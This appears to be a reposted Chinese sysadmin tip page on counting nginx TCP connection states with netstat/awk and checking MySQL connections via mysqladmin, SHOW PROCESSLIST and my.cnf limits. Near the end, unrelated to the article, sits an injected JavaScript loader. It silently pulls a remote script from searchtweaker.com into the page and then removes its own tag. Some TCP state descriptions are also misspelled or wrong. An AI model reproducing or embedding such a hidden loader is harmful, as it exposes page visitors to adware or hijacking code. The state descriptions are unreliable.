您的位置:首页 > 运维架构 > Nginx

查看当前nginx、mysql的连接数

2013-03-14 11:54 232 查看

查看当前nginx的所有连接数及连接状态:
#netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'

TIME_WAIT 17

ESTABLISHED 3254

LAST_ACK 236

FIN_WAIT_1 648

FIN_WAIT_2 581

CLOSING 7

CLOSE_WAIT 4916

属性含义描述:

CLOSED //无连接是活动的或正在进行

LISTEN //服务器在等待进入呼叫

SYN_RECV //一个连接请求已经到达,等待确认

SYN_SENT //应用已经开始,打开一个连接

ESTABLISHED //正常数据传输状态/当前并发连接数

FIN_WAIT1 //应用说它已经完成

FIN_WAIT2 //另一边已同意释放

ITMED_WAIT //等待所有分组死掉

CLOSING //两边同时尝试关闭

TIME_WAIT //另一边已初始化一个释放

LAST_ACK //等待所有分组死掉

查看那mysql当前连接:

1、查看当前所有连接的详细资料:

./mysqladmin -uadmin -p -h10.140.1.1 processlist

2、只查看当前连接数(Threads就是连接数.):

./mysqladmin -uadmin -p -h10.140.1.1 status

注意:(区分账号)

查看MySQL连接数和当前用户Mysql连接数

先用管理员身份进入mysql提示符。

#mysql -uroot -pxxxx

mysql> show processlist; 可以显示前100条连接信息 show full processlist; 可以显示全部。随便说下,如果用普通账号登录,就只显示这用户的。注意命令后有分号。

如果我们想查看这台服务器设置。 #vi /etc/my.cnf

set-variable=max_user_connections=30 这个就是单用户的连接数

set-variable=max_connections=800 这个是全局的限制连接数

// (function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();
// ]]>
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: